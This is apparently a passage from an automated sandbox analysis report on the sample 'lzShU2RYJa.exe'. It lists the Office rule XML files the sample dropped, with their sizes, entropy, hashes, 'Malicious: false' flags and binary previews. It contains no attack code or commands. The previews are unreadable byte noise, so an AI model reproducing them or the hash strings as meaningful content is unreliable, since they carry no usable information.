Preview:	<?xml_q.......t.".Z......K^.....kB..........Q...&.....&....Nh..q.O..)......p..%....:..G.@. ...Q.o'F..d../......../".P`."cX....4.j'd....6`nm....Z.L.\1..H.I;.y^..AJM+.k.J...V.[..B..{V.e(.5S.5eL..k.....@..N...Ss.'^.D..l.mG=}N..(..~....y...<.............}.EDg.........Q....Lv..D.pR..YY....g}...P.t......N.....Q..<.fb...\./j........#..X..Z:..`.k6..j...Ux]3...T.....@8t....Co..nF..n..N.7.......G...[.-<1.....H2H..j.4.t.$Q./.8.=..>.g...B...:-.b.K.......k.....'...c.....)V]_........X0...a.?p...f`...C.@...d...rL..6..]... ..r.P.}.... ...tD..+..\|v...v..z...X.,...:.......f&....KS..>.#3..Q.O....1.?i.(C...v.. _...\........R....W]~.>......qf.'..w..R.:8.#/.q.....s.u.W..G.2.l.....}.........8.k..9K.....=.J.[...e.X:.".E.'...~.B.....:.Hg..g1.[.(Qt....m{....k.X.9...V.7...?.....ud.).4....`.....w.6j0@\|..7n..\|..!.+@.....N.Bo4.+"..U.V.4..U.>/..[.C.Ug....d.....8Z.8.....z..>....Mk........O..]rNu.6a..@:...p(=2...WdeP......_.b$......j........Z..s<f.K..W....5

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11302v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2884
Entropy (8bit):	7.931080914302194
Encrypted:	false
SSDEEP:	48:bVXv4gs/e1fPFYphYI3pzr6qaCzATX/I+s7yJkIOpf4Fq3kFD:bVvx1HFY3YI3dOqalvbUxpfrU9
MD5:	027C7BEE678B9E6151B86D2BDFAB4E13
SHA1:	6F3D168779D6AE3530B74AEF3AE8008032D5F822
SHA-256:	FFA7A2848152FABEE6F5C18BFF2E393B590C66A294162B96809AF348BA10FB92
SHA-512:	7CD907823AC17FB8614B43D77B8AFD2019DCC9E9990644DDF1B7AA54B7A1C8F6F002382485EAF676948D88476105B7FE335D0978C031C17F39985E7E01D144B3
Malicious:	false
Preview:	<?xml.QW..0...L.up.....8.^&k.j.Ei?.$..$...d.[..u"."........2...X..v..WL^!.6I.ry....T...3...DR[x..x.:0.Un.........6ta....m<<7.h...9i...I_#.^nH0M..).pV.{......+OP#.0.B8/.lJ.q..4.5...B...-.z.q.s.F5...(.a0..hz.p.YT.N{...F.GV..0.._.WZ.[..._..W.t.Q.H..}.>_...................r.O...h.h......a..S?.YyC?6[...L.J.....<C,w.+......W..E.Xms......m.o...J..=p$G....sa..9.y....S..w(...-.n.M....6aeh.g.&..=.....w=`..'y9.........+...@21..f]K.`....C.g.....z..i..._......k(....4...a..9.........D.e.(n.l...`.....W..L.HJH..G...N4...W%..7..i6T..$........8.....R.../.h~.S..8.......h..j..1......:....K..o..-#Aq..t\.f...D..qB...r......kq.%M.b...]q.\|t...z....O.x..u.LA.....uV..........].io)..8.=..\.(..1v..76=.OS.q.....QK....%..h.....%Z.jX..+..82.....k.v!...t>W.......no..>......DQf...y8.....^....BNs..>#d.E.=..Y~'.J..{....e).r4\|.#.YN..Z...%\u..z.Q.......,E}.7.......}..C6..o%.............T8i.."N(5.?... .^l.W..........w..Q....~.[.0....H....".@..........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11362v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	5842
Entropy (8bit):	7.962885812135923
Encrypted:	false
SSDEEP:	96:eItWpNUoZXHy2Hok8HhDz/CErHxCs9okbDQevUvs1/1JjE0JeZkiVWX7smuO9:rtWXJHyso0QCsakb0IUvs1rdQZO1
MD5:	1BA36D3DB7940150F5DFE4DD3EE6CC29
SHA1:	F373082C0BA6FFA740931B24A066F992B0AD3734
SHA-256:	25560BB18DAD7ECCBA46C7D8DB204485A78F3E9276355E5E110CC45906400BAD
SHA-512:	D4DA190F33876BCB90E6C17F85CA33C94B570B60DDDCC54CC5A1E926D610E6AE0EEADDC9F0A68D05BD432B60EA1D467B01239937F50B2112C69E08D3C9736A35
Malicious:	false
Preview:	<?xml..g.~...7.xYb...."... 9.O.d.K.....G.a..&..O....Mi..Ug..]gn/.....@.S..w$..Y<....w4..{.........hC......=......{..Ldc....u,..b3..k>..OC...h.S`C=/.yuI. .'+l.....u..7.........H.M.e...}@.#7\7F%^.Wz.Z..\|..sR...,.+..h..[.b?.v..w....L.G.Z....i.QN.^..=....@Ib)^...cJ...S....{<.q.(.W.\|.....<.&L=.%F'...YQ.\|..%...5..[.//F..L..I8.......7...H....>.@@..g...}..c.{0.c,&.BhU....d.\|a..gms....>.L..{,=.....%.0.cE'...4VX8/(..j..7.a3..'...dY......>..z...7.l.<.Y......I.7:./@c]........"....G...&J{`)5..3..#.G....u..).D.f3.h.N..i.Y9.:.1....m.8..Uu..Wi..dM3...n...p.._.:.a.u....F;7;S-.>.+T...JmQ.@...v5...O.x....8.....CM.8..j<(L[..%.Q..b..0Z../....n.eM.....y.\|.A...+..(7.5@N(k.n$.?...Nt.q.I...s.....E7....9._..).j.\....u...A39......o1Z<-9u.....sj.&...^<T.8...M..m.F.A1..A..~.P8...[...A.%s..+.l2.>.K].zP.$$t..\|?..`..d.)2......y.a..v..K.`...4.^.y...$.(.2_.h...#.q...+.u?...x..J6.a....w...ZI.&m..N ..T1...\|...b...^$su./..S.0...0...X.FdB>.E.\|=.^1..N..C.].3m...K.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11369v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2023
Entropy (8bit):	7.884919733351536
Encrypted:	false
SSDEEP:	48:jYSn2Q9VrUZ7kVWh+ar4z2GnUM2srxUNSs6XVK7T1SFD:UA22rCmWh+X2GRrxUND6lK7TQ9
MD5:	A7E7E2D00666DC3E681BEAEF17C86E21
SHA1:	0762BC22E278AC23EE5FDB029908DD4F45E1D259
SHA-256:	C7AA1C45527AF218C2CCFF7C15BFA3F3CF071A1BB271E3092245A9634E3CD683
SHA-512:	F26F8464C97A775325DA0583E2B0AF4AE0B4732DFB27009BFE1943F1396470B082A41EF4053260143F63B8B8AA27AA4B1AE7B92A1BD7B4E96758F16B1BB0DBA6
Malicious:	false
Preview:	<?xml.o..m.TA.dEBf.K..<.f,22..\|.."....~3..dlf..mMw.XI..HR..k%..........z.)/...).MB].\|.3... $.....1 `}:.X.c........S3...o:..7vg>Pgy......;P.(...Y....$)a...;].w..._n......er.9.i&.".I.'r&-:......'Ui._...Rk.i...r....D.:.g.V-...5.%iO.&..Q...6.u#..b.=7..~...$..:.C:`..F.Fpq........Y.\......l.,{2_...0...7.\.#....\.I.h}.\kt..:[..v.&...O8.G.v2..{)4'..u>.C.Z.k..Xfe'. m....fjw.]T.........K.=L.@Y...\|',O7.....@W.....$_.Q .pnm....w...A5....4......'.W .]...].....e%B.{........t'.)..5..w}._.<.vK.D.5(..b...5...V!2.T].:........Z..[..,...Qv...s....%..R....J..[....pq+........p2.,'....!?..c..f......jm.5...V..XS...S..%p6...-~....k.d.9....@.q'...q~...........]..`N....F'H.5?..W.U.V....Q.f=....F.B...%.^..b.E..2.L.l)......_wH.sQ...6.S...,....._.....kr....."1...N.D.!....P7X%......};..=..h.;.U.\|....;.d....z.G.....M.(,r.c...G..6.}....n7.q..,.T.E... 2.w............y....c.U..Z.5H.."...\|..v...,.f.............(}.<5..... <........i}.]...&lA..3..~@&...ixN...2..\|..@

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11370v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1001
Entropy (8bit):	7.7734674575446565
Encrypted:	false
SSDEEP:	24:F4+unJDVIUoXxISDdOiatE+vbL3oPygUVbD:FxuJR4HdBCoPAFD
MD5:	5EAB7621A2B137AFFAA2FAB286DC3A1F
SHA1:	8CAA69618A9A8E30AFC63E3CC4409D7D608A269F
SHA-256:	FB7BA6E4B134D660B8AAA76683427A43A68577C6DC1F67E809296951DF9E3934
SHA-512:	2DD0B3631594797147E196E948A93AE957A4D2C486068AA1CE7566646F236221C1A780159C297DC8EB1B8B56FFC08E0610AA8CEEB6D05327033D4EA368FF478F
Malicious:	false
Preview:	<?xmlwk.1...s.....~..p.G..a.......0.;'.(.4...@t..${g.?.%wN.c~J...M.L....t.^.1..l..@......3......wE.T)..4....y.8....JP.....D......`....V...=..g..X.*A....Q.-..#7...BvGj.F....Y..A.K.j...g.:........!..(...K..:....on.?.....0W.3..3~...Dbz.f.:X. .fT......l...).L4#L.._...i.L....m5,... ..K...=.}.Tm,..3...SnI.,p..VL.!..........%\..0.o.. ..e.r#J....Ri5..~.Qn...`{M..B........C...x....Hs..\|9.........V..ES".f?..........\.e...+.J..,.k..Q.._.K.Qi.Y...zt...f..f..R%N....R..PU...BBf...~.X.X..R;G.w..c.......na....~....n].d..uI...a.@w~s.J..h.......^...6t5..H..g...f..7....%....6.#....LU..y...u.K..d.M\...(1..,o..9...._.Mo...4C..-.....u._..{}..X.p.c.n...,..D". K...=.P.._.P.......~......U$...i...,<..U.T.i.0.(.1..i'.Y.2.j.,d.....#...}...Yt...6..,.Y..De6o..\|....=.[u...\|...H.`.A(SX..,foh.T:.'O.......{.M9...(nv.u.,....A...z.......P.g..=B.....>$.B..M.X....M..Q.N\|...C..nbg ..Z. .N...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11381v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2743
Entropy (8bit):	7.931258886671088
Encrypted:	false
SSDEEP:	48:CXHuoMtNQLNbBxROnjcHfpXchLWEDDiuXmVm/6r/tnbVtR2IvFD:Cz0NiNULWsi/m/6rhht59
MD5:	503855805A56D4573C9F8B8FB1476EDB
SHA1:	9AB7E3CB79972BAB99A535C17C3F5D71DEC9725A
SHA-256:	D64801B9F1071424F72BF062B534954DB693014269B922E4A16844FBECA96B18
SHA-512:	2B8F928964649ED317A602585535D9CD31510AAAEE47146273FA83A9C48C4F3062B6E5790E8FF68AC67B2501DCDEB3A56B1526A61D399A7582F0E146E3355D91
Malicious:	false
Preview:	<?xml..;..\|.:.v..,......t>..?Y.^].U.C.f.(....-.T<.o.fE..V.yN...4........Uf.w..U.....y..Q.......l..r.~...=........s......$.q.YJ$.{..a-,.[....z..QT..N..D. a..,s{.d..]..z..[t..sDKFt...xe...\..E.b.......`..Z..J.G.('..MR."\|...Z....[......4A..1..i.).G..@.Q[......>.E\|."M.E.C__;9f.U....h....`....Fi3.1....... .....}.;kZ....f.O\...6....T..na...\..(._.....et.1..\pF..0L.l3gIl....".[....X.b....a!..NoB..H.c0.......7{`.8w..AUsG.rB.\|.....P...V..t..&c...._Q.t...L.C.,:.w.n...g...+}. K.6..@..M..]..3qcg.O.NR.?.,K<zB..U[.\.M....D....Yc...s.......G.d.%.I..M(2..vy.k.k^>..9...4.qH..@.".]._..<......}Os).c.#...Ci..\.v...&f..<X.g.[6.....a.u.e.....?.(....#..6`G...0i..8:......y}qm.<...a.....6N.U....)....XBR....&?..s9..D.e..N\..0.9#.KJ..P.i.>.m.....U.ZW..`...S.._.N..V..S.sC..)!.....e....2.H......T*.....-...vH.....6...H.\.."x.n.U......\|r..u+X...M!!.P....A.8.....}....'X........~..c~t.,...C,..<.lc^.n.S.uY.....v8...2/^.NF.......(l...!....K.!b...5"s.ZDh....A........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11446v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	11063
Entropy (8bit):	7.9839983467634825
Encrypted:	false
SSDEEP:	192:3yVL6uHmfAmMexVSHaQ0t8K3vYUgyToEFk/m7Bz99fYmeNtoJiUCu6bULA3FG:3youHmbMeG6Q48WvbVTo6k/mVrwmnbGk
MD5:	88D227425E0BD1BDA3B1914DB08E8432
SHA1:	AAC8AE69F97F8EA0D8C950E67EF828BA702D70AE
SHA-256:	E56E792230D82B6ACF9A8BA2C9B12A0C37F8DCD1677728AAE80F1F8FE2C66A49
SHA-512:	12A71394371B7F5F03829301D40A675CAC998FDAAF34E0A9547B48F3BA0A0F379350C335FA7D263DFCA8EE0F2618A47B54A2B7E0B190955584CD05284B99C510
Malicious:	false
Preview:	<?xml.g`.t....X\.^.....`z@......q..S&.:..j.4]Q...S8..x.Qi./....@.&.4.>..RU.....T0b....`r..~H.4..v..a.T.-.`.C.&.\M...f.S?AL.4.Z?..>...l.......V.1.......+.<w.~.h......`..I.x.(.r..X......\..X....}S.....3..0..4"p....b f.".E..w.l.b...{86...E..J...r..[.1...S.HS.4...).c.\|....e.........c.v.}...E...d....9..m.]P[.<&..c.....K.w...b..5.......J)../. ..?......&...>.`...rw...o....._Y..j..n.........._xG......x..^l.%....V.\|........F.._.E..["..k.C.9.`1..Qe...W.R3.=O..;...!.w..5........x3H.....}..o]..j.n.$...w....x...V.;.kJ.....JXm..OY.N.........$l..a.=.%4..v.]b..H..9..kO...+V..{.x......M......q..Kd..<...\|..........f.$.3=....r..9..(....I.qY..d.RI..x[@T..0.#..!X[...m.X..E....8.d.u@........K.!....0.~2..X..^...k.ov.@E.so..D(...@.....y.X .p.\!DB..,.Y{...F...\|$G....:..v.......u..B.}.C.Itz...V'.A.U.......R0.Sf...zF5.y.cy.vh....G....2....h...F.y..{e-..M.;...............2k.-....fL...J..Q2......h.*V,'g.y u\|....9....3)....cn..+1s..G.).4.....J..gU....B.-w.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11464v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.713776741942619
Encrypted:	false
SSDEEP:	12:xpdw33SfkAx+xiZ6jTA9yjCS+LleEb7+PebLx3A/VV9XvejVcii9a:xc33rFSMTAcOSohby/v9XkVbD
MD5:	56216380EFB2409B3DD234C415CBCAA3
SHA1:	3201CCD057315FA3D6BB067F5AD9469BCFC5FCCD
SHA-256:	485FEB9C4E1ED17755837291A1166A8B81E606A81921F91A23173782178E395F
SHA-512:	FE3546029013E6DC939AEF035F7981E88A5C77B513AF51D516D9A5C7E781F1DB7C0D7C6DBCAF332436EA9DAC2921371CA26D5DBF2387AC4FD22BF82A30CDC2AA
Malicious:	false
Preview:	<?xmlp9..2.....YR...].go.......1.....,..`..`..'G.m.m........Y..../.H.k.]2[.....Qq.Qv.2(.:~.{...v.Ju\|...].x..p...E...og....)g[.Dr..;...{.oXV/M...)?$.RMC.4..P..OK..F.u.x...Lu....A1......P.\R&8....R......C...,....+..6.....g..:.U...............I....w+s...<.\...:...Hx........m....uNs............Q...~.b....H.4...9........U.&.Q\|..`.a..X..o....`.y.{[.....)...)(...U"....qK}...d......-..^N._-........../E..i.P........Jr.......X$ze.w.g.&g.6..z.K....i..X..)TB...[....Y.X?...2L.m....M..p..\|..t.z(..;.PBC.p.l5?,.\|^-A.E.`q.......Q~.;6Z......S....Y..[.j..JdS..\...#.].FC.....Hz*...N?`..9..&t.~..F:.BB....\We.N.:....1...@.\|..X.....cvHA}W.u\|.qg...5-....C..r?.f5.[2~w.Y.F_........0.........M....C.....y..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11498v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	747
Entropy (8bit):	7.6879546780989
Encrypted:	false
SSDEEP:	12:W1kGd4rZljvKROA179ZwF6Jy5cfHajYas3V26J7klgeTDvMvqloW7VknFejVciik:W1bdCljy1nwkJMcijYaslolT4yloWSnu
MD5:	DF6E0CB7A038968CDC587FB05131C657
SHA1:	C90F4D76ED8CBC40307297FAAF23237464A3C04C
SHA-256:	0023406EB57AC2EAAEDFC4F9DFBED14256E9BE7D1177BC8BDE21FEB127402A15
SHA-512:	FDB3DD3D47F5C37B900E798A51980000C73E060F874BC803CC9AF162E840028F03CF03E6883B233421427CBE2851A2ADCAC1D62209BBB42C3D46C2CF070E6B13
Malicious:	false
Preview:	<?xml#...5.%_.... ..m.V..W8.>(.....F.+..'.Z...Vc.T..o........._../.u39..d..7.xH.-G..K..z.R. ..,...3....#.e.n.aPc.R..f.".G.".BJ..ndx..M..x..E.0..,..%.d=.P.B+.hjk..P...]..T.._...(.S[.N..............!js1[D.W./.qN=..F#.QT.\|KZ.5=.".....M_\.......Qb.0.5......q..u..@.....4..G.......\C..x.#....RDzHLi.M..:_....:...h.z..y...?.&...II....gG1..O3......M9.....;uY"wf..n.M.oP.e$Ei.D.D..7v.n.......$=...a76...<#0#>7...G.YM.l.h;..%.(......}S.2.2...P........1......gs..+u.J+...(...u.Q%.3..8...<.......p...be..3...-.Fk..J11e...@..8.....sDG..7..&..G........I.6.V...kB.{,uw.%...Es.0"x...l.+z.............x..6&.4.+....R=5.....o...\|y...%..,2....\|L~e....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11499v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1786
Entropy (8bit):	7.8816401382449195
Encrypted:	false
SSDEEP:	48:jVPx3Ns1saxdpfEk2pTYoY7Ecvilq93ZHqCkMv8E8FD:jV9Npa9qtMvilq9JHRkMvG9
MD5:	6BD32009A3255C2F070E01004DC0E82D
SHA1:	F38D4FFE619F0FEBE539CFC31B805F6E1BC1612A
SHA-256:	C7AF8C945D2418718FDCA04F5ECE69CA94A8D4F86D0A9EBF1F8EA06FD30B13B2
SHA-512:	C63E4E48ECE30EE0CA3E496A052F71EC4AEB9E35B4C0F94867EE829F1AB3854062CA0F20CDEFB8A9F18FC4D6E238175D05A6A03A7F004E508DE6951DFA4739EC
Malicious:	false
Preview:	<?xml.H...d..f.jT.......rM:V....&....B.{l.....h.p._......$.)V5{.[..,-.(..BH.h..N&$d..W.....nOD..0H.v...m"9.?a.S..b...;u.......m#@...L.8........[1le..s.v./.%.f.._.oEv.qH.....xk.H<.....RL[.qp..# :.GO....(.."8...s..].)4..Nd.cK7...Ey.M.A.mF..s.@\x.3Ga...-.....MS..H.x~..vw+.ln...'.e}.Yz.%ZR......S6N+....0..3....V..EsD.~.a...9.uI....r...G..u.........A.\..\|d..f],..Bs...M.6....c..e..HpOm...NJ.;....O.7.....e...........p.......~.....{..jA...^.....Z...il.Oy.....:.e..d....&.?.^..R.<K'..\|s%-]8y...u..V..W..S7s.sv}.p..\F...y[.I.\|..^..]........1].ue..;......a.".A.0...;W....$...\;.....jc.D#...t[S.l.3K.bX.@...uu..1.....Nr>.J.y.N.B..1,.."2....zb.!..j.@[<.3. .z>.........2j...G.%.}.J.@.dN...N.=hB..~...rk...Y.....@...B..C.~K........Q......0=.e...&.~..........9.P[...f...$.+P...Zl..N..l.FBgV$.`...dAw<V#.G.,..3...T.B..-!....L4m........xc%u.~.g.mo..w.R=l.N.h.V..0w.hMN.W.\|..=...6I..8k...U(#..C.:...FvcZn.P..[.p...;.o...7-...:.J.......u..b.k.XZ.o..i...8U.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11500v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	886
Entropy (8bit):	7.751543279048098
Encrypted:	false
SSDEEP:	24:Bz/OcxQHDt7yCflOT10JS9QPqXgKkGB9HVbD:Bz/OcxQHBxlKWJS90qwze9HFD
MD5:	F80B1B833B2C416D0E27AEA867528E69
SHA1:	2C579DE12555C339A7F2DAB19499093D4DA8DEDE
SHA-256:	31B6A3C9A2454FAA9D2797061B943AE92E98A75D0BC80CE5AE8C179D5B2FCA89
SHA-512:	E3F2F7B7E20CCECB808C902DAE228CAB16CFD04B7AA3EC0C07A669C34E3023408FADE6D3EEC6560741E255CF82F44F8EB478D230F91B202EAD69E43568F5573B
Malicious:	false
Preview:	<?xml.0......H .V&.....\|..D}.?..d..S..b..#...{Mpl#.Z+KPf..H..^._.g..Y..Y:0HAs>..k.....R...D.at.Y.WkJ#@....[/....k..nnS..y......z..e.6...w..U...C.\|.fL..........h]..k....z..VM.Fc..v..j..RTK.[N..oZ...o.h...Mh./...!./d.D.x.....;/&G.\|....m..H..S}]:..h....HB.t.r...._@..q.F..<.....Y..&..) .O.q[8b..@..F#..c..yF.....k=$......e.......I..";T..O..L.y.3.HP..i.K..S%.!...V.:kC...l.<...j...ZW.X...u.T6...l..[..0..a..y..VV8.A.'\|.63EX.oS..&n..3.~)..-....~..W.5....&A.KQ.6.`yK.u~...v.Hn5."7.v.<:.....d.....y.e......]..H....D..R.L.3....;.v-R.{..Mq.....d. ...L..hs...,........m....V........#....m.8F.p.~.-.Z......d.{.o2^.oi.......&......=...e,....c.d.p>g..v.Q.......O;..B..{...7.I)..-..!e......u.L.....Pw%EQ..%....X0.-.Ky.......:.z[.x...-...b....~...1.E.h0J..1&.W....J.).q.QO..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11502v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1324
Entropy (8bit):	7.827359672225986
Encrypted:	false
SSDEEP:	24:1o3RBnx+70CNBLF+VPMx7DLqdzRaQZ8kI5Dw9KVY8FcVbD:C3Tx+70C14P8DLSzRLiRpVRCFD
MD5:	7F924B20CF5D07FB3FC7C26997969D22
SHA1:	B15E36896730854C602441D7AE91E63E88A8A991
SHA-256:	24E439C0DD7A63EED026C2E16A19985312F3F22B532FABC6AA77C2C3EDE1EE95
SHA-512:	A3099E2169D13693BB3E9C3CD9FC1E4DF8B9A2AC05F4F86D73B9AC08EA58AB23F10211C561DE1E199D24778768CE1E289A0EAD86AC3481A8342B1D8D23EF30C8
Malicious:	false
Preview:	<?xml.].CR.(.=.x+.....e..2...:v...E.%....Q..f..zWr...7o-&H..4.lU?W.....P-ciQ...S8...B.u..F.E.B..0.FI....t$.;B..P0..W....#.K..l..IVO.....,L.I..!..sf....2o.....Q..c.^7.I..%.S......\.yH.l..W.4.w%v.....F..$Ek.A9\|c.~.I..H..e"1....U.....tyP.P.....-5}3.. .j#...!.B.$C..__.)....H.dc..'&..j...j2.^...M...[t....>..g(.......Z......f.p7XF-..>a...9vt.9[..8nd.....:...jFI.s..r..........1t^...o[S..\. Ib7...)-....Zo..... ...$s..pS.8.W.<q.,G.......H5.C....N.w...........B.?.}<.P...%.K_.3.Z.8..2.[.=...~l...{..&~K#...I..A`w..>..Z.A..!............i.....p..l...,z.'..I..t.A.s.(G...j.7.<@MOY.q}.3bWI.....<..I.@...5Znx.e.U.^..`..\..8J...]^.5..b....U...D.jr.l;.<I......k.x............A#....s".....\..g.~y..7+00$....v.\|..T.....A[.....'N.^!5M5.....S....g.q&..#.......n.ZS....e..Y.'. 9....C....^...<.X..%.....q.m4..'0.8.S.8-^o.h...=tn.!.Z.a.....0q.23.Z.vf....{..-.8..U.M.UA.b.[$ ...#.q.a.....;...[.9....K...W.ti..KQ...4OHW...G.L...>H.Z.<\....6..xsQ^.../F+..y.^.b.T.S9...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11504v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1435
Entropy (8bit):	7.856719563689539
Encrypted:	false
SSDEEP:	24:Q5PzW1uGNwK0Q9yEQTq45AAlGYYLGB4j/Xf8UsIaqoCnKpX182yUVbD:QwJd0Q4Hq45DiLGK7f8UsIaZ8AFFyUFD
MD5:	EC2E90B3D486186D2183E0B237ABB304
SHA1:	BC2FE15F98BAD7BD68A3C7E2FB6CEFD95DD7F577
SHA-256:	F4D3283009EBE171F1DA070FAEB1A6D243D5440F2C62BB3B54C97AE558FA799C
SHA-512:	D198F86D51E78C440A874A86BFC0A1F9B3518CF7AA597FAE6DC0263A2A26EE24A74EA26016F581E3AB72A0FB41B70B488BCFC154F103A5A25D5516D9D67B11B9
Malicious:	false
Preview:	<?xmly..+M.&.a....1.8.......w.....q.PX..K.e........(.5..p.~\...`$a..u.......Z...9.Z....f7.{..z....~.......V......J....l..(.....l....Q.vb..D....N........L.E...).Y.a...G......5.0..?...Q(..R.q6..zw~>..9..uk....#..._..\|S.e....!]...\|..e.%)W0Z.."....N.+a.i'.w...SG%+....H.8$..`m2F.#qh..'II.}Z.d.%...O.....a(=....#.....4...J......... t....P....k.....p...0]...A.n.0...u).....fw1..!;.Z....Q.E.$..-.w.2..#..[.p'.....?.W...3O2...<.!.n...Y!..H.a...../)h{h..n.ub...9m..]}F.V....O.5.....f.nb.BB~....@x.."x..N.4...r+Ym....'.t....f^.IoiLE....ow......c..='..$........q..A..Z.k.>p.. ...:r...&jk. Z3c..r[.oW....._7....5.......af.j..cS%......^....!j4...oS.18.......7..BR....v...$....Q.$....Rcg...$.8.........0~...V ...2?.b.z...)0.....oE...).oF.43L..\. ..Gz....Y.p.w.~.fO.f....t;O..l..Rw....qV.@.?.c.....U#d.DuM...N..........9.p.IW`Ic...V.%..2u~.%#-....W........$".......'V.F.d.K.].....c.....Z...G0j...<...$..6...N.V.\e.z...]..%.S......5&3....$.]^...)...8....uZ..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11514v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	7119
Entropy (8bit):	7.9714816929206815
Encrypted:	false
SSDEEP:	192:o44dqwZ84nPUc5Xo14xvTBJ5ZQj3N3rgYg2eDWj6:oZdqU86b5Xo1wj5qj3N3i37
MD5:	549834873F3E27201C93847FE2A3EA74
SHA1:	D613ADEF69406445F1E6B947067C5CE0097A7545
SHA-256:	17C3A4230299BF670623A6B065B2F55769DE44F0F0F4DEDEFBDEF76EAEE5818F
SHA-512:	59363646C3B58F0767E8CE66686153E4507CEBD3F07721A0C9173469A44DE0A9AC2B0F3A11A7EC9690BDED767C32EF210D648A190C733DEF9C951D7E83C4CB0B
Malicious:	false
Preview:	<?xml.st-..N.......4.1z....u..6...<E.kO..#C.."r.J..=.u#.G...@.....Me.k.#.....kUQP...=.u..... ...j..Z....(.W,<.....~....R...a S.G...R$..h........2.W...xez..W.C..s....y]..........._2..<t...i..t..3Z.A.....7......PC./..B..&.;.Z<v...u.?..^/.X.....+=..~.uA.`.X.x.t3..X..A=...e.Px..S....x~....eR...Z..%yD.s........,:.......ILq...........eWE.l.g^G/......c.)....R......!w`..&.2.I....B.(....)...TU.%..!.%yu...=..N&..'GU.....w6..T.x+9.0@J..&.,...;m?...O.s.i....A...5w..........A....SO5.suu.?Y.&....._..].k...!H....h-...{.Ma.....M....n!...U..EC..qP..pm..\|.RA:g.W...-"U......<.h.kqln.....mnw.'...!.G...n...t...\7en....)3...3...<...r..+!...{......1.us...;......9....~Nt.}.\|....nQ..j.8-.........,.P+B=...s.....c.k.....I....M..b..r....u..~u{A/.e.....wC...?i.=>VK(..j'...H...3..{..[..3=....vk..E.Vy(..0.....?.bS.oy..Npm.k.\|.h.K.."L..t.......PP.tjL..'.I\...!.4.c..m....}.N.OlSF...-..6..js.~.4Bn...7L.loiB..[-..$(...70......#*.L..l'..b9hm>...c...O.y..,....uyT...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11659v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	762
Entropy (8bit):	7.695779657578985
Encrypted:	false
SSDEEP:	12:jfRqdARTtsyxe6RTlYUqqorH0mFliSuVATMwiTOPdWBzp7IH71IL11SIJ7NjVciD:jZwAo+1SlnxFlfuaSOPOW01177NVbD
MD5:	7F7654D8B70D66567E68687C0CBC09F4
SHA1:	1A6BC4B36E0CE2B9107E1B6C8D6BF189B12CF17F
SHA-256:	645505AEFD45F8F09BCD09AB6DF1263DDAFED8CA3820093323A3FFF986FBC835
SHA-512:	822AF5EBB1A3CE1FEEE733C02431A16EF9DCDD074814A5B90842490EBE278FA813214BB8F31BB52EEF860094A639499803DCB5E95D1A5FDF7CF4101AF3C16F2B
Malicious:	false
